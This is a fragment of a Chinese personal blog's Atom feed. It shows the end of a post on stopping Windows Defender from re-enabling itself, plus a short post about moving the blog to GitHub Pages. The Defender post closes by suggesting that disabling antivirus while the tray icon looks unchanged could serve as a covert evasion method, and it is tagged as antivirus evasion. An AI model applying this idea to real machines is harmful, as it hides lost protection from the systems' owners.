src="/2024/02/03/%E8%A7%A3%E5%86%B3Windows-Defender%E5%85%B3%E9%97%AD%E5%90%8E%E5%8F%88%E8%87%AA%E5%8A%A8%E6%89%93%E5%BC%80%E7%9A%84%E5%9B%B0%E6%89%B0/02.png" alt="image"></p><h1 id="引申思考"><a href="#引申思考" class="headerlink" title="引申思考"></a>引申思考</h1><p>上图中可看到,Defender托盘图标没有变化,但防病毒功能已经关闭了,由此联想,是否可以作为一种隐蔽的关闭杀软的方式</p>]]></content>
<summary type="html"><p>有这样一个需求,我有一台Win10系统用作服务器跑程序,但不想装杀软,可是Win10系统不装杀软的话就会自动开启Defender,之前的笔记中记载,执行如下2步可关闭Windows Defender</p></summary>
<category term="免杀对抗" scheme="http://example.com/tags/%E5%85%8D%E6%9D%80%E5%AF%B9%E6%8A%97/"/>
</entry>
<entry>
<title>新征程</title>
<link href="http://example.com/2022/01/11/%E6%96%B0%E5%BE%81%E7%A8%8B/"/>
<id>http://example.com/2022/01/11/%E6%96%B0%E5%BE%81%E7%A8%8B/</id>
<published>2022-01-11T11:34:25.000Z</published>
<updated>2024-10-06T01:53:06.371Z</updated>
<content type="html"><![CDATA[<p>这是博客从谷歌云搬到新家(Github Pages)的第一篇,也是2022年的第一篇,更是我从长春来到北京入职新公司后的第一篇,一段新的征程,一段新的开始</p><span id="more"></span><p>之前的博客搭建在免费的谷歌云上,不过随着谷歌云的免费到期,付费了一段时间,每月费用实在太高,只得放弃,附一张之前的博客图片</p><p>就像之前第一篇博客中写到:一个热爱黑客的家伙,这里有东西不会让你失望<br><img src="/2022/01/11/%E6%96%B0%E5%BE%81%E7%A8%8B/01.png" alt="image"> </p>]]></content>
<summary type="html"><p>这是博客从谷歌云搬到新家(Github Pages)的第一篇,也是2022年的第一篇,更是我从长春来到北京入职新公司后的第一篇,一段新的征程,一段新的开始</p></summary>
<category term="心路历程" scheme="http://example.com/tags/%E5%BF%83%E8%B7%AF%E5%8E%86%E7%A8%8B/"/>
</entry>
</feed>